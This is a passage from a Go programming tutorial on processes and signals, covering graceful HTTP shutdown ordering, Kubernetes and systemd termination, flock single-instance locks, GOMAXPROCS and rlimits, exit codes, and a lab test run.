defer signal.Stop(ch)
<-ch
done := make(chan struct{})
go func() { graceful(); close(done) }()
select {
case <-done:
case <-ch:
force()
}
}
// Name returns the conventional name of a signal for logs.
func Name(s os.Signal) string {
if sig, ok := s.(syscall.Signal); ok {
return sig.String()
}
return s.String()
}The tests send real signals to the test process with syscall.Kill(syscall.Getpid(), sig) and assert the context is cancelled, SIGHUP triggers a reload, and a second signal forces.
Ctrl-C and the terminal Important
In plain words: Ctrl-C does not talk to your program; the terminal driver sends SIGINT to the whole foreground process group.
Common misunderstanding: "Ctrl-C kills my program and its children as separate steps." Everything in the foreground group gets the signal at once, which is why go run plus your binary both stop. A child you moved into its own group with Setpgid does not.
Definition: Ctrl-C sends SIGINT, Ctrl-\ sends SIGQUIT, Ctrl-Z sends SIGTSTP (Go leaves job-control signals at the system default), Ctrl-D is not a signal: it closes stdin (EOF). If the program was started with SIGINT or SIGHUP ignored (as nohup does for SIGHUP), Go keeps them ignored until you call Notify for them.
| Keystroke | Delivered | Go default |
|---|---|---|
| Ctrl-C | SIGINT to the foreground group | Exit |
| Ctrl-\ | SIGQUIT | Exit 2, goroutine dump |
| Ctrl-Z | SIGTSTP | System default: job stops |
| Ctrl-D | EOF on stdin, no signal | Read returns io.EOF |
Graceful shutdown: the pattern Must-know
In plain words: Graceful shutdown is a fixed order of steps: tell the world you are leaving, stop taking new work, finish what you have, release what you hold, exit.
Common misunderstanding: "Shutdown on the HTTP server is graceful shutdown." It is one step. Readiness, background workers, message consumers, caches to flush and connection pools are all yours.
Definition: the ordered steps, with the budget each gets:
| Step | Action | Budget | Why in this position |
|---|---|---|---|
| 1 | Receive signal, cancel root context | 0 | Everything hangs off the context |
| 2 | Readiness turns red (/readyz returns 503) | 0 | Load balancer must stop choosing you |
| 3 | Wait a drain delay | 1-10 s | Endpoint removal is asynchronous and slow |
| 4 | Stop accepting, finish in-flight HTTP (Shutdown) | 5-25 s | Users are waiting on these |
| 5 | Stop consuming messages, finish the current one | seconds | Unacked messages are redelivered |
| 6 | Drain worker queues | seconds | No handler can enqueue any more |
| 7 | Flush logs, metrics, traces | 1-2 s | Observability about the shutdown itself |
| 8 | Close database pools, caches | 1-2 s | Nothing can use them any more |
| 9 | Return from main | 0 | Deferred functions run, exit status 0 |
t=0.0 SIGTERM main: ctx cancelled log: shutdown requested
t=0.0 readiness /readyz -> 503 log: readiness off
t=1.0 drain delay LB removed the pod (listener still open)
t=1.0 Shutdown() listener closed, idle conns closed in-flight requests continue
t=2.5 last request answered log: http drained
t=2.5 workers queue closed, worker finishes job log: workers drained
t=2.5 close db.Close(), logger flush log: resources closed
t=2.5 exit 0Real scenario: a rolling deploy of 20 pods; without steps 2-3, each pod's departure sends a few percent of requests to a pod that already closed its listener (connection refused or 502).
// Package graceful is the ordered-shutdown skeleton: readiness flips first,
// the load balancer gets time to notice, in-flight requests drain, background
// workers drain, and only then are the dependencies closed.
package graceful
import (
"context"
"errors"
"fmt"
"log/slog"
"net"
"net/http"
"sync/atomic"
"time"
"golang.org/x/sync/errgroup"
)
// Config holds the timings. Their sum must be shorter than the orchestrator's
// kill timer (terminationGracePeriodSeconds, TimeoutStopSec).
type Config struct {
DrainDelay time.Duration // readiness is red, listener still open
ShutdownTimeout time.Duration // budget for http.Server.Shutdown
WorkerTimeout time.Duration // budget for the worker to finish its job
}
// Service owns the HTTP server, a worker and a resource closed last.
type Service struct {
cfg Config
log *slog.Logger
srv *http.Server
ready atomic.Bool
work chan func()
workers errgroup.Group
closeFn func() error // e.g. database pool, flush logs and metrics
}
// New builds a Service. handler is wrapped so /readyz reflects shutdown state.
func New(cfg Config, log *slog.Logger, handler http.Handler, closeFn func() error) *Service {
s := &Service{cfg: cfg, log: log, work: make(chan func(), 16), closeFn: closeFn}
mux := http.NewServeMux()
mux.HandleFunc("GET /healthz", func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusOK) // liveness: the process is not wedged
})
mux.HandleFunc("GET /readyz", func(w http.ResponseWriter, _ *http.Request) {
if !s.ready.Load() {
http.Error(w, "shutting down", http.StatusServiceUnavailable)
return
}
w.WriteHeader(http.StatusOK)
})
mux.Handle("/", handler)
s.srv = &http.Server{Handler: mux, ReadHeaderTimeout: 5 * time.Second}
return s
}
// Submit queues background work; it reports false once shutdown has begun.
func (s *Service) Submit(f func()) bool {
if !s.ready.Load() {
return false
}
select {
case s.work <- f:
return true
default:
return false
}
}
// Run serves on ln until ctx is cancelled, then shuts down in order.
// It returns only after every step finished or timed out.
func (s *Service) Run(ctx context.Context, ln net.Listener) error {
s.ready.Store(true)
// One worker drains the queue until it is closed.
s.workers.Go(func() error {
for f := range s.work {
f()
}
return nil
})
serveErr := make(chan error, 1)
go func() {
// ErrServerClosed is the NORMAL result of Shutdown, not a failure.
if err := s.srv.Serve(ln); !errors.Is(err, http.ErrServerClosed) {
serveErr <- err
return
}
serveErr <- nil
}()
select {
case err := <-serveErr: // the server died by itself
return fmt.Errorf("serve: %w", err)
case <-ctx.Done():
s.log.Info("shutdown requested", "cause", context.Cause(ctx))
}
var errs []error
// 1. Readiness goes red. The listener is STILL open: requests the load
// balancer sent before it noticed are served normally.
s.ready.Store(false)
s.log.Info("readiness off, waiting for the load balancer", "delay", s.cfg.DrainDelay)
time.Sleep(s.cfg.DrainDelay)
// 2. Stop accepting, finish in-flight requests. Fresh context: ctx is
// already cancelled and would make Shutdown return immediately.
shCtx, cancel := context.WithTimeout(context.Background(), s.cfg.ShutdownTimeout)
defer cancel()
if err := s.srv.Shutdown(shCtx); err != nil {
errs = append(errs, fmt.Errorf("http shutdown: %w", err))
_ = s.srv.Close() // budget exhausted: cut the stragglers
}
<-serveErr
s.log.Info("http drained")
// 3. Handlers are gone, so nobody can Submit any more: close the queue and
// let the worker finish what it already accepted.
close(s.work)
waitDone := make(chan error, 1)
go func() { waitDone <- s.workers.Wait() }()
select {
case err := <-waitDone:
if err != nil {
errs = append(errs, err)
}
s.log.Info("workers drained")
case <-time.After(s.cfg.WorkerTimeout):
errs = append(errs, errors.New("worker drain timed out"))
}
// 4. Dependencies last: nothing can use them any more.
if s.closeFn != nil {
if err := s.closeFn(); err != nil {
errs = append(errs, fmt.Errorf("close resources: %w", err))
}
s.log.Info("resources closed")
}
return errors.Join(errs...)
}http.Server.Shutdown Must-know
In plain words: Shutdown closes the listening sockets, closes idle keep-alive connections, and waits for busy ones to become idle, up to the context's deadline.
Common misunderstanding: "ListenAndServe returning means the server stopped." After Shutdown, ListenAndServe and Serve return http.ErrServerClosed immediately (text http: Server closed) while draining is still going on. If main returns at that moment, in-flight requests are cut. Wait for Shutdown to return.
Definition: from the Go source: Shutdown works "by first closing all open listeners, then closing all idle connections, and then waiting indefinitely for connections to return to idle and then shut down"; if the context expires first it returns the context's error. It does not wait for hijacked connections (WebSockets); use RegisterOnShutdown to tell them to close. Pass a fresh context with its own timeout: the signal context is already cancelled, so Shutdown(ctx) with it returns context canceled at once.
| Call | Listener | Idle conns | Active requests | Returns |
|---|---|---|---|---|
Shutdown(ctx) | Closed | Closed | Waits until idle or ctx done | nil, or ctx.Err() |
Close() | Closed | Closed | Closed immediately | Any close error |
Serve/ListenAndServe after either | n/a | n/a | n/a | http.ErrServerClosed |
RegisterOnShutdown(f) | n/a | n/a | n/a | f runs in its own goroutine |
What goes wrong:
| Mistake | Symptom | Fix |
|---|---|---|
log.Fatal(srv.ListenAndServe()) | Logs http: Server closed as fatal, exit 1 | Treat ErrServerClosed as success |
Shutdown(ctx) with the cancelled signal context | Returns context canceled instantly | context.WithTimeout(context.Background(), d) |
Returning from main after ListenAndServe returns | In-flight requests dropped | Block until Shutdown returns |
| Long-poll or SSE handlers | Shutdown hits its timeout | Cancel their contexts via BaseContext or RegisterOnShutdown |
No Close() after timeout | Process hangs until SIGKILL | Call Close() when Shutdown errors |
Orchestrators: Kubernetes and systemd Must-know
In plain words: The orchestrator sends SIGTERM, starts a timer, and sends SIGKILL when the timer ends. Your shutdown must finish before the timer.
Common misunderstanding: "When Kubernetes sends SIGTERM the pod is already out of the Service." The two happen in parallel: the control plane removes the pod from EndpointSlices while the kubelet starts shutdown, and proxies and load balancers learn about it with a delay. For a few seconds a terminating pod can still receive traffic.
Definition: Kubernetes: the default terminationGracePeriodSeconds is 30 seconds; the grace period countdown starts before the preStop hook runs, so a hook's time is part of the budget; after SIGTERM and the grace period the kubelet sends SIGKILL. systemd: TimeoutStopSec= is how long to wait for the service to stop after ExecStop=/SIGTERM; after it, the service gets SIGKILL (KillMode=control-group kills every process of the unit, mixed sends SIGTERM to the main process only and SIGKILL to the rest). Docker: docker stop sends SIGTERM, waits 10 seconds, sends SIGKILL.
Kubernetes pod deletion (kubectl delete pod, rolling update, node drain)
1 API server marks the Pod Terminating, records the grace period (default 30 s)
2 in parallel: control plane removes the Pod from EndpointSlices
3 in parallel: kubelet runs the preStop hook (e.g. sleep 5)
4 kubelet sends SIGTERM to PID 1 of each container
5 app: readiness off, drain, Shutdown, close
6 grace period over -> SIGKILL, exit code 137| Platform | Knob | Meaning | Gotcha |
|---|---|---|---|
| Kubernetes | terminationGracePeriodSeconds | Total time from delete to SIGKILL | Includes preStop |
| Kubernetes | lifecycle.preStop | Hook before SIGTERM | A sleep here covers endpoint propagation |
| Kubernetes | readinessProbe | Whether traffic is sent | Flip it red on SIGTERM too |
| Kubernetes | lifecycle.stopSignal | Alternative stop signal | Check your cluster version |
| Kubernetes | Exit code 137 | 128+9, killed | Often OOM or grace period too short |
| systemd | TimeoutStopSec= | Wait before SIGKILL | Default 90 s via DefaultTimeoutStopSec= |
| systemd | KillSignal= | First signal, default SIGTERM | Match the signal you handle |
| systemd | KillMode= | Who gets signalled | control-group is the default |
| systemd | Restart=on-failure | Restart after non-zero exit | Clean exit 0 stays stopped |
| Docker | STOPSIGNAL, docker stop -t | Signal and wait | Shell-form CMD wraps your binary in sh, which may not forward signals |
Fix / how to use it: put the budgets in a table in your repo, and keep drain delay + Shutdown timeout + worker timeout + close under the grace period with slack. Use the exec form of ENTRYPOINT so the Go binary is PID 1 and gets the signal; a fresh Go program as PID 1 still needs an explicit NotifyContext, and containers that spawn children need an init for reaping.
Ordered shutdown with errgroup Important
In plain words: Several components start together and must stop in reverse dependency order: first the thing that feeds work, last the thing everybody depends on.
Common misunderstanding: "errgroup.WithContext shuts everything down in the right order." It cancels one context when any member fails; every member then stops at once. Order needs explicit stages.
Definition: golang.org/x/sync/errgroup runs functions in goroutines and Wait returns the first non-nil error; with WithContext the derived context is cancelled on the first error or when Wait returns. For ordering, give each stage its own context, or run stages in sequence after the group of producers finishes.
stage A (sources) HTTP server, queue consumers stop first: no new work enters
stage B (workers) job pool, outbox relay stop second: finish accepted work
stage C (sinks) DB pool, cache, log flush stop last: nothing uses them any moreReal scenario: an API that enqueues emails: closing the queue before the HTTP server lets a late request panic with "send on closed channel"; closing the database before the worker finishes loses the last jobs.
The graceful.Service above is the minimal two-stage version: Shutdown (stage A), close the work channel and wait for the errgroup worker (stage B), then the resource closer (stage C). Its tests assert the order job-finished then closed, and that a hung handler makes Run return context.DeadlineExceeded (joined with errors.Join).
PID files and single-instance locks Important
In plain words: A PID file says "process 4242 is running"; a lock says "I am running, so nobody else may". The lock is the part that can be trusted.
Common misunderstanding: "A PID file prevents a second copy." A file only records a number; after a crash the file is still there and the number may now belong to another program. A kernel lock (flock) disappears when the process does.
Definition: syscall.Flock(fd, LOCK_EX|LOCK_NB) takes an exclusive advisory lock on an open file; if another process holds it, it fails with EWOULDBLOCK. The lock is tied to the open file description and released when the last descriptor closes, including on a crash or SIGKILL. Go opens files close-on-exec, so children do not inherit the descriptor and keep the lock alive.
| Technique | Survives crash cleanly | Detects a live twin | Works on NFS | Notes |
|---|---|---|---|---|
| PID file only | No (stale file) | Only by kill -0 guess | n/a | Race-prone, PID reuse |
PID file + flock | Yes | Yes | Unreliable on NFS | Recommended on one host |
fcntl record lock | Yes | Yes | Better on NFS | Dropped when any fd to the file closes |
| Unix socket bind | Yes (file stays, bind fails) | Yes | n/a | Needs cleanup of the socket file |
| Database advisory lock | Yes (session ends) | Across hosts | n/a | See Locks & Concurrency |
//go:build unix
// Package pidlock keeps one instance of a program running per lock file.
// The lock is flock(2): the kernel drops it when the process dies, so a crash
// never leaves a stale lock (unlike a bare PID file).
package pidlock
import (
"errors"
"fmt"
"os"
"strconv"
"strings"
"syscall"
)
// ErrLocked means another live process holds the lock.
var ErrLocked = errors.New("another instance is running")
// Lock is a held single-instance lock.
type Lock struct{ f *os.File }
// Acquire takes an exclusive non-blocking flock on path and writes our PID
// into the file for humans and tools. The PID is information; the lock is
// the truth.
func Acquire(path string) (*Lock, error) {
f, err := os.OpenFile(path, os.O_CREATE|os.O_RDWR, 0o644)
if err != nil {
return nil, err
}
if err := syscall.Flock(int(f.Fd()), syscall.LOCK_EX|syscall.LOCK_NB); err != nil {
holder := readPID(f)
f.Close()
if errors.Is(err, syscall.EWOULDBLOCK) {
return nil, fmt.Errorf("%w (pid %s)", ErrLocked, holder)
}
return nil, err
}
if err := f.Truncate(0); err != nil {
f.Close()
return nil, err
}
if _, err := f.WriteAt([]byte(strconv.Itoa(os.Getpid())+"\n"), 0); err != nil {
f.Close()
return nil, err
}
return &Lock{f: f}, nil
}
// Release unlocks and removes the file. Removing is only a courtesy: another
// process may already be waiting on the old inode, which is why correctness
// never depends on the file existing.
func (l *Lock) Release() error {
name := l.f.Name()
_ = syscall.Flock(int(l.f.Fd()), syscall.LOCK_UN)
err := l.f.Close()
_ = os.Remove(name)
return err
}
func readPID(f *os.File) string {
buf := make([]byte, 32)
n, _ := f.ReadAt(buf, 0)
s := strings.TrimSpace(string(buf[:n]))
if s == "" {
return "unknown"
}
return s
}The test re-executes the test binary as a holder process, asserts the second Acquire fails with the holder's PID in the message, kills the holder with SIGKILL, and asserts the lock is free again.
Daemonising: don't Good to know
In plain words: Old Unix programs forked into the background and detached from the terminal to become daemons. Today, something else does that job for you.
Common misunderstanding: "A Go service should fork itself into the background." Go's runtime is multi-threaded, and fork without exec in a multi-threaded process is unsafe, so the classic double-fork daemon does not work well in Go. Run in the foreground and let a supervisor manage the process.
Definition: use systemd (Type=simple, Restart=on-failure), supervisord, a container runtime, or Kubernetes; log to stdout/stderr and let the supervisor capture it.
| Supervisor | Runs your binary as | Restarts | Logs | Stops with |
|---|---|---|---|---|
| systemd | Foreground service | Restart= | journald | SIGTERM, TimeoutStopSec |
| supervisord | Foreground child | autorestart | files, stdout | stopsignal, stopwaitsecs |
| Docker | PID 1 in a container | --restart | json-file | SIGTERM, then SIGKILL after 10 s |
| Kubernetes | PID 1 in a pod | restartPolicy | stdout to the node | Pod termination flow |
nohup/& | Detached shell job | None | nohup.out | Nothing: avoid in production |
Process info, GOMAXPROCS and cgroup CPU limits Must-know
In plain words: GOMAXPROCS is how many operating-system threads may run Go code at the same time. Before Go 1.25 it defaulted to the number of CPUs on the machine, even when a container was limited to a fraction of them.
Common misunderstanding: "A pod limited to 2 CPUs has GOMAXPROCS=2." Before Go 1.25 it had the node's core count (say 64), the runtime ran 64 threads, and the kernel throttled the container's CPU quota, adding latency spikes.
Definition: runtime.NumCPU() is the logical CPUs usable by the process at startup; runtime.GOMAXPROCS(0) reads the current setting. From the Go 1.25 release notes: "On Linux, the runtime considers the CPU bandwidth limit of the cgroup containing the process, if any. If the CPU bandwidth limit is lower than the number of logical CPUs available, GOMAXPROCS will default to the lower limit." The runtime does not consider Kubernetes "CPU requests", it updates the value periodically, and it is disabled when GOMAXPROCS is set by environment variable or call, or with GODEBUG settings containermaxprocs=0 and updatemaxprocs=0.
| Go version | Default GOMAXPROCS in a pod with CPU limit 2 on a 16-core node |
|---|---|
| 1.24 and older | 16 |
1.24 and older with automaxprocs imported | 2 |
| 1.25 and newer | 2 (limit read from the cgroup) |
Any version with GOMAXPROCS=4 env | 4 |
| Pod with only a CPU request, no limit | 16 (requests are ignored) |
Fix / how to use it: on Go 1.25+ do nothing and log the value at startup (see the procinfo snippet above). On older Go import go.uber.org/automaxprocs. Set memory with GOMEMLIMIT separately; it is not covered here.
Resource limits: Rlimit and file descriptors Important
In plain words: Every process has soft and hard limits on things like open files. When a connection-heavy service hits the soft limit it starts failing accept and open with "too many open files".
Common misunderstanding: "Go handles the limit." Since Go 1.19 programs that import os raise the soft RLIMIT_NOFILE to the hard limit on Unix at startup, but a low hard limit (a container with nofile 1024) still binds you, and leaked descriptors hit it just as fast.
Definition: syscall.Getrlimit(syscall.RLIMIT_NOFILE, &rl) reads Cur (soft) and Max (hard); Setrlimit changes them; raising the hard limit needs privilege. The error is EMFILE (too many open files, process limit) or ENFILE (system-wide table full).
| Limit | ulimit flag | Rlimit constant | Symptom |
|---|---|---|---|
| Open files | -n | RLIMIT_NOFILE | accept4: too many open files |
| Processes/threads | -u | RLIMIT_NPROC | fork/exec: resource temporarily unavailable |
| Address space | -v | RLIMIT_AS | fatal error: out of memory |
| Core file size | -c | RLIMIT_CORE | No core dump |
| Stack size | -s | RLIMIT_STACK | Affects C threads, not goroutines |
The procinfo test lowers the soft limit to 64 inside the test process, opens /dev/null until it fails, and asserts the error is EMFILE, then restores the limit. Production systemd units set LimitNOFILE=; Kubernetes inherits the node's container runtime default.
Exiting: os.Exit, return and panic Must-know
In plain words: Returning from main ends the program with status 0 after running its deferred calls. os.Exit(n) ends it immediately with status n and skips every deferred call. An unrecovered panic prints a trace and ends with status 2.
Common misunderstanding: "log.Fatal is a clean exit." It calls os.Exit(1) after logging: no defer, no flush, no Shutdown.
Definition: the runtime exits with status 2 for an unrecovered panic and for fatal errors such as fatal error: all goroutines are asleep - deadlock!. A process killed by a signal has no exit status; the shell reports 128+signal.
mode exit defers run stderr
return 0 yes (nothing)
os.Exit(3) 3 no (nothing)
panic("boom") 2 yes panic: boom / goroutine 1 [running]:
deadlock 2 no fatal error: all goroutines are asleep - deadlock!
SIGKILL -1* no (nothing) * Go's ExitCode(); shell says 137//go:build unix
// Package exitcodes demonstrates what a Go program's exit status looks like
// from the outside, and what zombies are.
package exitcodes
import (
"fmt"
"os"
)
// Mode names the behaviours the helper process can show.
const (
ModeReturn = "return" // main returns normally: status 0, defers run
ModeOSExit = "os-exit" // os.Exit(3): status 3, defers DO NOT run
ModePanic = "panic" // unrecovered panic: status 2, defers run first
ModeFatal = "fatal" // log.Fatal style: status 1, defers do not run
ModeDeadlock = "deadlock" // fatal error: all goroutines are asleep: status 2
ModeSelfKill = "self-kill" // killed by SIGKILL: no status, only a signal
)
// Behave is called from a helper main to act out one mode.
func Behave(mode string) int {
defer fmt.Fprintln(os.Stderr, "deferred function ran")
switch mode {
case ModeOSExit:
os.Exit(3)
case ModePanic:
panic("boom")
case ModeFatal:
fmt.Fprintln(os.Stderr, "fatal: cannot continue")
os.Exit(1)
case ModeDeadlock:
select {} // no other goroutine: the runtime detects it
case ModeSelfKill:
p, _ := os.FindProcess(os.Getpid())
_ = p.Kill()
select {}
}
return 0
}The tests re-execute the test binary as a helper and assert status 0, 3, 2 (panic), 2 (deadlock) and "killed by SIGKILL" for each mode.
Fix / how to use it: keep main tiny: func main() { os.Exit(run()) } where run() returns an exit code after all its defers. That gives you one place that maps errors to codes and keeps os.Exit out of the middle of the program.
Non-root and os/user Important
In plain words: A service that is compromised should be able to do as little as possible, so it should not run as root.
Common misunderstanding: "I need root to listen on port 80." Only on Linux kernels where net.ipv4.ip_unprivileged_port_start is 1024; the better answer is to listen on 8080 and let a proxy or Service map port 80, or grant CAP_NET_BIND_SERVICE to the binary.
Definition: os.Getuid(), os.Geteuid(), os.Getgid() are cheap system calls; user.Current() and user.Lookup(name) read the user database (with cgo, via libc; without cgo, by parsing /etc/passwd). Containers that run with an arbitrary UID may have no passwd entry, so prefer os.Getuid() for decisions and user.Current() only for display. In Kubernetes use securityContext.runAsNonRoot: true, runAsUser, readOnlyRootFilesystem: true and drop capabilities.
| Check | API | Notes |
|---|---|---|
| Am I root? | os.Geteuid() == 0 | No passwd lookup needed |
| Who am I? | user.Current() | May fail without a passwd entry |
| Other user's home | user.Lookup("deploy") | Returns *user.User or user.UnknownUserError |
| Drop privileges | syscall.Setuid | Prefer starting unprivileged; dropping inside a threaded runtime is error-prone |
The RefuseRoot function in the procinfo snippet fails startup when Geteuid() == 0.
syscall, x/sys/unix and Windows Good to know
In plain words: syscall is the standard library's raw operating-system interface; golang.org/x/sys/unix is the maintained, larger one.
Common misunderstanding: "syscall is the right place for new code." Its own source says: "Most of the functions, types, and constants defined in this package are also available in the golang.org/x/sys package. That package has more system call support than this one, and most new code should prefer that package where possible."
Definition: the snippets here use syscall.Kill, syscall.Flock, syscall.Getrlimit and SysProcAttr because os/exec takes *syscall.SysProcAttr. For anything newer (unix.Prctl, unix.PidfdOpen) use unix. Code using these functions needs //go:build unix (or linux/darwin) tags; on Windows use golang.org/x/sys/windows.
| Need | Standard library | x/sys/unix | Windows |
|---|---|---|---|
| Send signal | syscall.Kill(pid, sig), Process.Signal | unix.Kill | Process.Kill only; no arbitrary signals |
| Process group | SysProcAttr.Setpgid | same field | CreationFlags |
| File lock | syscall.Flock | unix.Flock | windows.LockFileEx |
| Resource limits | syscall.Getrlimit | unix.Getrlimit, unix.Prlimit | Job objects |
| Pidfd, prctl | not available | unix.PidfdOpen, unix.Prctl | n/a |
stdin when piped Good to know
In plain words: A CLI tool may be run by a person typing into it or by a shell pipe, and it should behave sensibly in both.
Common misunderstanding: "os.Stdin always has data." In a terminal, reading blocks until the user types; under a supervisor, stdin is often /dev/null and returns EOF at once.
Definition: os.Stdin.Stat() returns a FileInfo; if Mode()&os.ModeCharDevice == 0, input is a pipe or file. bufio.Scanner reads lines; its default token limit is 64 KiB (bufio.ErrTooLong), raised with Scanner.Buffer. SIGPIPE on stdout (yourtool | head -1) ends the program quietly; handle EPIPE on other descriptors.
| Situation | ModeCharDevice | Read behaviour |
|---|---|---|
| Interactive terminal | set | Blocks for a line |
echo x | tool | clear (pipe) | Data, then EOF |
tool < file | clear (regular file) | Data, then EOF |
| systemd service | clear (/dev/null) | EOF immediately |
docker run -i without -t | clear (pipe) | Data until closed |
Mechanics
Error texts you will see Must-know
| Text | Where from | Meaning | Fix |
|---|---|---|---|
exec: "ffmpeg": executable file not found in $PATH | exec.ErrNotFound | Not installed or PATH differs under the service | LookPath at startup; set PATH in the unit |
fork/exec /usr/bin/x: permission denied | Start | Not executable or noexec mount | chmod +x, mount options |
fork/exec /bin/x: no such file or directory | Start | Binary exists but its interpreter or loader is missing | Check the shebang, libc |
exec: already started | Start | Reused Cmd | New Cmd |
exec: Stdout already set | Output | Set Stdout and called Output | One or the other |
exec: StdoutPipe after process started | StdoutPipe | Pipe created after Start | Create pipes first |
exec: WaitDelay expired before I/O complete | Wait | ErrWaitDelay | Orphaned grandchildren hold the pipe |
exec: "./prog": cannot run executable found relative to current directory | ErrDot | Relative PATH entry (Go 1.19+) | Use an absolute path |
signal: killed | ExitError.Error() | Killed by SIGKILL | Look for OOM, a timeout, or Process.Kill |
signal: terminated | ExitError.Error() | Killed by SIGTERM | Expected on stop |
exit status 1 | ExitError.Error() | Non-zero exit | Branch on ExitCode() |
http: Server closed | http.ErrServerClosed | Normal result after Shutdown | Not a failure |
context deadline exceeded | Shutdown or CommandContext | The budget ran out | Raise it or fix the slow part |
accept tcp [::]:8080: accept4: too many open files | EMFILE | Descriptor limit or leak | Raise LimitNOFILE, close leaks |
fork: retry: Resource temporarily unavailable | shell, EAGAIN | PID or process limit, often zombies | Wait your children |
fatal error: all goroutines are asleep - deadlock! | runtime | Nothing can run; exit 2 | See Race Conditions & Deadlocks |
write: broken pipe | EPIPE | Reader went away | Treat as normal stop |
Exit status table: what each observer sees Must-know
| What happened | Go ExitCode() | Shell $? | Kubernetes exitCode | systemd |
|---|---|---|---|---|
main returned | 0 | 0 | 0 | status=0/SUCCESS |
os.Exit(3) | 3 | 3 | 3 | status=3 |
| Panic | 2 | 2 | 2 | status=2 |
SIGTERM, default action | -1 | 143 | 143 | signal=TERM |
SIGKILL after grace period | -1 | 137 | 137 | signal=KILL |
| OOM killed | -1 | 137 | 137, reason OOMKilled | signal=KILL |
SIGQUIT | 2 | 2 | 2 | status=2 |
| Graceful shutdown completes | 0 | 0 | 0 | status=0/SUCCESS |
Solving the classic problems
| Problem | Solution | How | Cost |
|---|---|---|---|
Command injection through sh -c | No shell | Separate arguments, --, allow-list | None |
| Child hangs forever | CommandContext + WaitDelay | Deadline kills, delay frees pipes | Two timers to size |
| Grandchildren survive | Process group | Setpgid + Kill(-pgid) | Unix only |
| Lost requests on deploy | Readiness + drain + Shutdown | See Graceful shutdown | Slower deploys by the drain delay |
| Second Ctrl-C ignored | stop() after first signal | Restores default | Hard exit on second press |
| Two copies of a daemon | flock | Lock a file for the process lifetime | Single host only |
| CPU throttling in pods | Go 1.25+ or automaxprocs | Match GOMAXPROCS to limit | None |
too many open files | Raise limit, fix leaks | LimitNOFILE, defer Close | Memory per descriptor |
| Zombies | Wait, init process | tini, docker run --init | One tiny binary |
Run a command safely with a timeout
Use the execrun.Run wrapper above, and the table in exec.Command for argument rules. It returns a Result for every normal outcome (including a non-zero exit) and an error only for "did not run", "timed out" or an unexpected failure.
Stop a child and its whole tree
Use proctree.Command and KillGroup; see Process groups. Send SIGTERM first, wait for grace, then SIGKILL the group.
Shut a service down in order
Use graceful.Service; the lab below shows its real log order. A minimal test double for the load balancer is the readyz check in the tests.
Flush and drain on a signal in a worker
// A consumer loop that stops cleanly: finish the current message, then exit.
func consume(ctx context.Context, msgs <-chan Message, handle func(Message) error) error {
for {
select {
case <-ctx.Done():
return ctx.Err() // current message already handled: handle() ran to completion
case m, ok := <-msgs:
if !ok {
return nil
}
if err := handle(m); err != nil {
return err
}
}
}
}Message brokers redeliver whatever was not acknowledged when you stop; see Message Acknowledgment and Delivery Guarantees.
Verify that connections really drained
After a shutdown test, confirm the pool released its sessions; this query is the honest check that "resources closed" is true on the database side:
-- PostgreSQL: sessions still open for this service after it exited.
SELECT pid, state, now() - state_change AS idle_for, left(query, 60) AS last_query
FROM pg_stat_activity
WHERE application_name = 'orders-api'
ORDER BY state_change;
-- Expected after a clean shutdown: 0 rows. Rows in "idle in transaction" mean a handler
-- was cut mid-transaction (see /database/acid-transactions for what the server did with it).Choosing
| Situation | Use | Extra | Reason |
|---|---|---|---|
| HTTP service in Kubernetes | NotifyContext + readiness + preStop sleep + Shutdown | Grace period 30-60 s | Endpoint removal lags |
| HTTP service under systemd | NotifyContext + Shutdown | TimeoutStopSec= above your budget | No endpoint lag |
| CLI tool | Default signal behaviour | NotifyContext only to clean temp files | Ctrl-C should just work |
| Background worker | Stop consuming, finish the current job | Idempotent handlers | SIGKILL can still arrive |
| Need to run an external tool | exec.CommandContext, no shell | WaitDelay, Setpgid | Bounded, no injection |
| Need output of a long process | StdoutPipe + goroutine | Wait last | No deadlock |
| One instance per host | flock on a runtime file | PID inside for humans | Auto release |
| One instance per cluster | Lease in a database or etcd | Leader election | Not a process concern |
| Old Go in containers | automaxprocs | Upgrade to 1.25 | Avoids throttling |
| Need a daemon | Do not fork | systemd, containers | Go is multi-threaded |
In architecture: from a single process to a distributed system
Monolith: one process, one database
One binary, one pool, one listener. The shutdown has three stages (HTTP, background jobs, database), and the test is "deploy while a 2-second request runs and see it finish". Systemd or a container runs it; Restart=on-failure brings it back after a crash. The simplest correct usage is the graceful snippet unchanged.
Modular monolith and multiple databases
Modules own resources: orders owns a pool, search owns an index client, billing owns a queue consumer. Give each module a Close(ctx) method and stop them in reverse dependency order from main; a module that starts a goroutine must also expose how it stops. Do not let modules call os.Exit or install their own signal handlers: there is one NotifyContext per process.
Microservices
Each service is its own process with its own grace period, and a rolling deploy restarts them one pod at a time.
client -> gateway -> orders -> payments (rolling deploy of payments)
1 payments pod A gets SIGTERM, readiness off
2 gateway and orders retry on pod B (idempotency key on the charge request)
3 pod A finishes its in-flight charge, closes, exits 0
4 pod B receives the retry; the idempotency key makes the duplicate a no-opWhat survives across service boundaries: nothing implicit. A request killed in the middle is retried by the caller, so the callee must be idempotent; a message half-processed is redelivered, so the consumer must be idempotent (see Idempotent Consumers). Propagate deadlines with context so a terminating upstream does not leave downstream work running.
Distributed data: replicas, caches, NAT and containers
A process that is shutting down stops sending heartbeats, so leader-elected systems (database primaries, queue consumers in a group) rebalance: Kafka consumer groups rebalance on leave, and a connection pool to a replica set sees connections close. A graceful leave (explicit Close of the consumer or leaving the group) is faster than waiting for a session timeout. NAT gateways and load balancers have idle timers independent of your shutdown; connections closed by Shutdown send FIN, while a SIGKILL leaves them half-open until a timeout (see Ports, Sockets & Connections). In a cache-aside setup, flush write-behind buffers before closing the cache client.
Scaling path: 1×, 10×, 100×
| Load | Shutdown design | What breaks first |
|---|---|---|
| 1x: one process | NotifyContext + Shutdown | Nothing; a deploy drops a few requests if skipped |
| 10x: a handful of pods | Add readiness, preStop sleep, drain delay | Short 502 spikes on each deploy |
| 100x: hundreds of pods, autoscaling | Budget table, connection draining at the load balancer, graceful consumer leave, surge/unavailable tuning | Thundering herd of reconnects; database connection storms when many pods restart at once |
| Spot or preemptible nodes | Shutdown budget under the 30 s or 2 min notice | Grace period larger than the node's own notice |
Lab
All steps ran on macOS with Go 1.27.4 unless marked. Setup: cd docs/snippets/go/os-processes-signals/go.
1. Run the tests (real)
go vet ./... && go test -race -count=1 ./...
# ok academy/os-processes-signals/execrun 1.5s
# ok academy/os-processes-signals/exitcodes 2.3s
# ok academy/os-processes-signals/graceful 2.5s
# ok academy/os-processes-signals/pidlock 1.3s
# ok academy/os-processes-signals/pipes 1.3s
# ok academy/os-processes-signals/procinfo 1.2s
# ok academy/os-processes-signals/proctree 1.3s
